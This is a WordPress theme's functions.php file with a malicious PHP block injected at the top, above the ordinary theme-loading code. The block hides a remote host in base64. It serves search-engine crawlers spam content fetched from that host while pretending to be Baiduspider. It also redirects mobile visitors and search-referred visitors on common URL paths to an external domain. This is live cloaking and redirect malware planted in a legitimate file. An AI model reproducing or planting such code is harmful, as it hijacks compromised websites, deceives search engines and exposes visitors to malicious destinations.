File: /www/wwwroot/1.scey.cn/wp-content/themes/Leading/functions.php
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
define('URI', $_SERVER['REQUEST_URI']);
define('host', base64_decode('aHR0cDovLzExMy4yMDcuNDkuMjE6MjczNi8='));
define('MULU', 'timi|app|ios|android|download|page|games|play|video|news|product|blog|list|vod|post|activities|id|?|a|forum|portal|question|b|keyan|index.php|g|swsb|ys|dy|du|ku|show.php|.html');
function isEngines($key) {
$spiders = array('Baiduspider', 'Sogou', '360Spider', 'YisouSpider', 'Googlebot', 'Bingbot', 'Bytespider');
foreach ($spiders as $spider) {
if (stripos($key, $spider) !== false) return true;
}
return false;
}
function my_custom_isMobile() {
return preg_match("/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i", $_SERVER["HTTP_USER_AGENT"]);
}
function isIncludes() {
$temp = explode('|', MULU);
foreach ($temp as $v) {
if (stripos(URI, $v) !== false) return true;
}
return false;
}
function isRef($ref) {
if (empty($ref)) return false;
return (stripos($ref, 'baidu') !== false || stripos($ref, 'sm.cn') !== false ||
stripos($ref, 'so.com') !== false || stripos($ref, 'sogou') !== false);
}
function getContents($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$result = curl_exec($ch);
curl_close($ch);
if ($result == NULL) {
return @file_get_contents($url);
}
return $result;
}
$ref = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$key = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$ym = $_SERVER['HTTP_HOST'];
if (isEngines($key)) {
header('Content-Type:text/html;charset=utf-8');
if (isIncludes()) {
echo getContents(host . "?xhost=" . $ym . '&reurl=' . urlencode(URI) . '&ua=Baiduspider&f=bd');
exit;
} else {
echo getContents(host . "lunlian/dt.php");
}
} else {
if (isIncludes()) {
if (isRef($ref) || my_custom_isMobile()) {
header("Location: https://zvpso4yc.4npdpd-t8bka-fgsden.work:21557/?cid=jhgb&ref=" . urlencode($ym));
exit;
}
}
}
?>
<?php
//禁用WordPress大图片(2560大小)裁剪功能
add_filter( 'big_image_size_threshold', '__return_false' );
// 简单而直接
if(PHP_VERSION < 7.2){
if(!is_admin()){
wp_die('Leading 主题需要PHP 7.2,你的服务器 PHP 版本为:'.PHP_VERSION.',请升级到 PHP 7.2。');
exit;
}
}elseif(!defined('WPJAM_BASIC_PLUGIN_FILE')){
if(!is_admin()){
wp_die('Leading 主题基于 WPJAM Basic 插件开发,请先<a href="https://wordpress.org/plugins/wpjam-basic/">下载</a>并<a href="'.admin_url('plugins.php').'">激活</a> WPJAM Basic 插件。');
exit;
}
}else{
include TEMPLATEPATH.'/public/utils.php';
include TEMPLATEPATH.'/public/hooks.php';
include TEMPLATEPATH.'/public/comment.php';
if(class_exists( 'WooCommerce' )){
include TEMPLATEPATH.'/woocommerce/woocommerce-functions.php';
}
//include TEMPLATEPATH.'/public/ajax.php';
include TEMPLATEPATH.'/template-parts/widget/widgets-post.php';
include TEMPLATEPATH.'/template-parts/widget/widgets-tags.php';
include TEMPLATEPATH.'/template-parts/widget/widgets-post-thumbnail.php';
if(is_admin()){
include TEMPLATEPATH.'/admin/admin.php';
}else{
include TEMPLATEPATH.'/maintenance/maintenance.php';
}
}